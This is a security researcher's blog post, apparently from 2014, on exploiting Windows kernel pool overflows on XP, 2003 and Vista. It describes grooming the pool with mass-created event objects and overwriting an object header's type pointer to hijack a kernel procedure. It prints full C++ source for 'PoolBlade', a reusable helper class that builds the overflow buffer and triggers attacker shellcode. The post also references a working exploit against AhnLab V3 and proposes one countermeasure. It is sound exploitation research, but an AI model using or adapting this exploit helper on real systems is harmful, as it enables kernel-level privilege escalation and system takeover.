Pool Blade

by Daniel Moghimi


Posted on Mar 19, 2014 at 11:29 PM


This post is recovered from my old blog

Abstract

In recent years many methods have been discussed regarding exploitation of pool overflow corruptions. Most of these methods are based on the architecture of Pool manager in windows.article I am going to discuss a generic method which is based on kernel objects and not the pool manager and because of the nature of this method, it is possible to exploit pool overflow vulnerabilities easier and more reliable on windows. As a result I implemented Pool Blade helper class that let us exploit pool overflow in a very short time by just calling some interfaces and triggering the vulnerability.

Introduction

Exploiting pool overflow using the architecture of pool manager in windows widely discussed by Tarjei Mandt as kernel pool exploitation on windows 7. There are various problems with methods that are based on the Pool allocator:

  • Most of the time Pool allocator exploitation is based on the write4 condition and we have to do extra coding to get address of kernel objects like HalDispatchTable.

  • The deferred pool kill reliability and we have extra headache of solving this problem.

  • Many threads on the operating system do pool allocations and frees so there is a high chance to get BSOD before having time to fix pool descriptor.

  • Fixing the pool descriptor also needs extra effort and bigger shellcode.

Although most of the times the above problems are solvable but it makes kernel exploitation a headache and sometimes unreliable and unreliability in kernel means BSOD and system panic, So In this article I am going to discuss another method which avoid corrupting any pool structure and is based on DKOM (Direct kernel object modification) which discussed By Nikita Tarkanov at NoSuchCon.

Pool Feng Shui

Heap Feng Shui is a method to exploit heap related issues more reliable on user land and mostly browsers. The same concept can be applied to Pool allocator that is a kind of heap for kernel land. To apply this concept to pool memory we should be able to allocate and free pool blocks by the help of some user mode API.

By analyzing the interface of some NT SYSCALLs, we can see that Kernel objects can be created using NtCreateX SYSCALLs. X can be any kind of kernel objects like Process, Key, Port, File, Event, Semaphore. A call to such SYSCALLs lead to a call to nt!ObCreateObject. ObCreateObject allocate a block of pool memory for storing the content of kernel objects by a call to ObpAllocateObject:

PAGE:004EA504 push eax
PAGE:004EA505 push esi
PAGE:004EA506 push [ebp+arg_C]
PAGE:004EA509 mov [edi+10h], ecx
PAGE:004EA50C push edi
PAGE:004EA50D call ObpAllocateObject(x,x,x,x,x,x)
PAGE:004EA512 mov ebx, eax
The allocated memory will be available until the life time of the object, so when the process exits or The handle of the kernel object get closed by the help of the NtClose Syscall the allocated buffer for the object will be freed. In other words, it is possible to allocate and free memory by Creating and destroying objects.

Among the many kernel objects, one of them is interesting for me because it allocates a small block of memory and give us more flexibility. Here is the structure of KEVENT object in WINXPSP3:

typedef struct _KEVENT // 1 elements, 0x10 bytes (sizeof)
{
/*0x000*/ struct _DISPATCHER_HEADER Header; // 6 elements, 0x10 bytes (sizeof)
}KEVENT, *PKEVENT;
As every kernel object has an Object header with size of 0x18 bytes, when ObpAllocateObject allocates a memory for KEVENT object, it allocates 0x18+0x10 = 0x28 bytes of pool memory. Considering the size of the pool meta data (8 byte), each call to CreateEvent API will allocate 0x30 byte of memory:
CreateEvent -> nt!NtCreateEvent -> nt!ObCreateObject -> ObpAllocateObject -> ExAllocatePoolWithTag

It is possible to make some holes with size of the vulnerable buffer. For example if the vulnerable buffer size is 0x7d8 bytes, we are able to make some 0x7d8 byte holes by closing handles of (0x7d8/0x30)+1 = 0x2a number of event objects which lead to freeing 0x2a block of KEVENT object memory. Pool allocator use similar coalescing algorithm of the user land heap allocator to make a new free block of 0x7d8 bytes while freeing continues block of memories. Consider we have a pool overflow vulnerability, It is possible to force the vulnerable buffer to be allocated before a KEVENT object by creating and destroying lots of KEVENT object. For this purpose, we should first try to create lots of KEVENT objects (or any type of objects) to defragment pool pages. My experiment shows that if I create 0x100000 event, it allocates 0x30*0x100000 =~ 50 mb of pool memory which is large enough to fill Non-paged pool blocks and allocate new pages of memory at bottom pages.

8356b000 size: 30 previous size: 0 (Allocated) Even (Protected)
8356b030 size: 10 previous size: 30 (Free) ...n
8356b040 size: 30 previous size: 10 (Allocated) Even (Protected)
8356b070 size: 8 previous size: 30 (Free) Even
*8356b078 size: 7d8 previous size: 8 (Allocated) *Ddk
8356b850 size: 30 previous size: 7d8 (Allocated) Even (Protected)
8356b880 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b8b0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b8e0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b910 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b940 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b970 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b9a0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356b9d0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356ba00 size: 30 previous size: 30 (Allocated) Even (Protected)
8356ba30 size: 30 previous size: 30 (Allocated) Even (Protected)
8356ba60 size: 30 previous size: 30 (Allocated) Even (Protected)
8356ba90 size: 30 previous size: 30 (Allocated) Even (Protected)
8356bac0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356baf0 size: 30 previous size: 30 (Allocated) Even (Protected)
8356bb20 size: 30 previous size: 30 (Allocated) Even (Protected)

Object Header Function pointer overwrite

Here is the structure of Object header on windows before vista:

typedef struct _OBJECT_HEADER // 12 elements, 0x20 bytes (sizeof)
{
/*0x000*/ LONG32 PointerCount;
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x004*/ LONG32 HandleCount;
/*0x004*/ VOID* NextToFree;
};
/*0x008*/ struct _OBJECT_TYPE* Type;
/*0x00C*/ UINT8 NameInfoOffset;
/*0x00D*/ UINT8 HandleInfoOffset;
/*0x00E*/ UINT8 QuotaInfoOffset;
/*0x00F*/ UINT8 Flags;
union // 2 elements, 0x4 bytes (sizeof)
{
/*0x010*/ struct _OBJECT_CREATE_INFORMATION* ObjectCreateInfo;
/*0x010*/ VOID* QuotaBlockCharged;
};
/*0x014*/ VOID* SecurityDescriptor;
/*0x018*/ struct _QUAD Body; // 1 elements, 0x8 bytes (sizeof)
}OBJECT_HEADER, *POBJECT_HEADER;
In this structure there is a pointer to some OBJECT_TYPE data structure to specify type of object and it is different for various kernel objects. When we force the vulnerable buffer to be allocated before a Kernel objects, we have the ability to calculate the offset of this pointer exactly and overwrite it without corrupting Pool block metadata so we can fake the OBJECT_TYPE structure of the next kernel objects. Here is the structure of OBJECT_TYPE:
typedef struct _OBJECT_TYPE // 12 elements, 0x190 bytes (sizeof)
{
/*0x000*/ struct _ERESOURCE Mutex; // 13 elements, 0x38 bytes (sizeof)
/*0x038*/ struct _LIST_ENTRY TypeList; // 2 elements, 0x8 bytes
/*0x040*/ struct _UNICODE_STRING Name; // 3 elements, 0x8 bytes
/*0x048*/ VOID* DefaultObject;
/*0x04C*/ ULONG32 Index;
/*0x050*/ ULONG32 TotalNumberOfObjects;
/*0x054*/ ULONG32 TotalNumberOfHandles;
/*0x058*/ ULONG32 HighWaterNumberOfObjects;
/*0x05C*/ ULONG32 HighWaterNumberOfHandles;
/*0x060*/ struct _OBJECT_TYPE_INITIALIZER TypeInfo; // 20 elements, 0x4C bytes (sizeof)
/*0x0AC*/ ULONG32 Key;
/*0x0B0*/ struct _ERESOURCE ObjectLocks[4];
}OBJECT_TYPE, *POBJECT_TYPE;
In the OBJECT TYPE INITIALIZER section of this structure there are some valuable pointers:
typedef struct _OBJECT_TYPE_INITIALIZER // 20 elements, 0x70 bytes (sizeof)
{
/*0x000*/ UINT16 Length;
/*0x002*/ UINT8 UseDefaultObject;
/*0x003*/ UINT8 CaseInsensitive;
/*0x004*/ ULONG32 InvalidAttributes;
/*0x008*/ struct _GENERIC_MAPPING GenericMapping;
/*0x018*/ ULONG32 ValidAccessMask;
/*0x01C*/ UINT8 SecurityRequired;
/*0x01D*/ UINT8 MaintainHandleCount;
/*0x01E*/ UINT8 MaintainTypeList;
/*0x01F*/ UINT8 _PADDING0_[0x1];
/*0x020*/ enum _POOL_TYPE PoolType;
/*0x024*/ ULONG32 DefaultPagedPoolCharge;
/*0x028*/ ULONG32 DefaultNonPagedPoolCharge;
/*0x02C*/ UINT8 _PADDING1_[0x4];
/*0x030*/ PVOID DumpProcedure;
/*0x038*/ PVOID OpenProcedure;
/*0x040*/ PVOID CloseProcedure;
/*0x048*/ PVOID DeleteProcedure;
/*0x050*/ PVOID ParseProcedure;
/*0x058*/ PVOID SecurityProcedure;
/*0x060*/ PVOID QueryNameProcedure;
/*0x068*/ PVOID OkayToCloseProcedure;
}OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;
Since we can control Object_type data structure to a fake structure in user land memory, it is possible to control these procedures. The mentioned security procedure get called when we destroy the object and because it is under control we can set its address to the shellcode.

Note: the method of overwriting kernel object to get control over Procedures is only possible on windows XP/2003/VISTA because OBJECT_TYPE doesn't exist anymore in the OBJECT HEADER, But it is still possible to find and overwrite other critical structures or pointers on 7/8.

Pool Blade Helper class

I made some small class that can be used to exploit pool overflows in a simple way:

PoolBlade::PoolBlade()
{
  fake = NULL;
  buffer = NULL;
  pShellcode = NULL;
  hArr = NULL;
  dwPoolSize = 0;
}
 
PoolBlade::PoolBlade(VOID * shellcode, DWORD size)
{
  PoolBlade();
  pShellcode = shellcode;
  dwPoolSize = size;
}
 
VOID PoolBlade::Fill()
{
  for(int i = 0 ; i < 0x100000 ; i++)
  CreateEvent(NULL, FALSE, FALSE, NULL);
}
BYTE * PoolBlade::AutoExploitInit(DWORD *size)
{
  if(pShellcode == NULL || dwPoolSize == 0)
    return NULL;
 
  Fill();
 
  int i;
  hArr = new HANDLE[0x10000];
  for(i = 0 ; i < 0x10000 ; i++)
  hArr[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
 
  for(i = 0 ; i < 0xf000 ; i+=0x200)
    for(int j = 0; j < (dwPoolSize / 0x30)+1; j++)
      CloseHandle(hArr[i+j]);
 
  *size = dwPoolSize + 0x16;
  buffer = new BYTE[*size];
  memset(buffer, 0x41, dwPoolSize);
  
  *(WORD*)(buffer+dwPoolSize) = ((dwPoolSize+8)/8) & 0x1ff;
  buffer[dwPoolSize+2] = 0x06;
  buffer[dwPoolSize+3] = 0x0A;
  *(DWORD*)(buffer+dwPoolSize+4) = 0xee657645;
  *(DWORD*)(buffer+dwPoolSize+8) = 0xdeadfa11;
  *(DWORD*)(buffer+dwPoolSize+0xC) = 0xcafebabe;
 
  fake = new BYTE[0x190];
  memset(fake, 0, 0x190);
  *(DWORD*)(fake+0xA8) = (DWORD)pShellcode;
 
  *(DWORD*)(buffer+dwPoolSize+0x10) = (DWORD)fake;
  *(WORD*)(buffer+dwPoolSize+0x14) = NULL;
  return buffer;
}
 
VOID PoolBlade::ExploitFinish()
{
  for(int i = 0 ; i < 0x10000 ; i++)
    CloseHandle(hArr[i]);
 
  if (fake != NULL)
    delete fake;
  if ( buffer != NULL)
    delete buffer;
  if(hArr != NULL)
    delete hArr;
}
The class simply has two interfaces. We instance an object from the class by specifying size of buffer and a pointer to shellcode function. After that, a call to AutoExploitInit interface, defragments the pool and make the proper holes for the requested size of buffer. It also returns some proper buffer which can be used as inputs of the vulnerability. Then after triggering the vulnerability by the prepared buffer it is possible to free the allocated buffer and trigger the fake SecurityProcedure to execute the shellcode by a call to ExploitFinish function.

For demonstration of the method and usage of the class an exploit code for some pool overflow vulnerability in AhnlabV3 Internet security Product is available here [link removed], The class can be extended to support more recent version of windows and also to better control over input data.

 Conclusion

  1. It is so Reliable since we don’t corrupt pool header and metadata.
  2. Easy to use, It is possible to exploit a trivial pool overflow in a couple of minutes
  3. Windows XP/2003/Vista only
  4. Only applicable to Pool overflows when the target buffer is greater than 0x30 bytes.

Counter measurement

  • Using a separate pool for kernel objects or other critical data structures

References: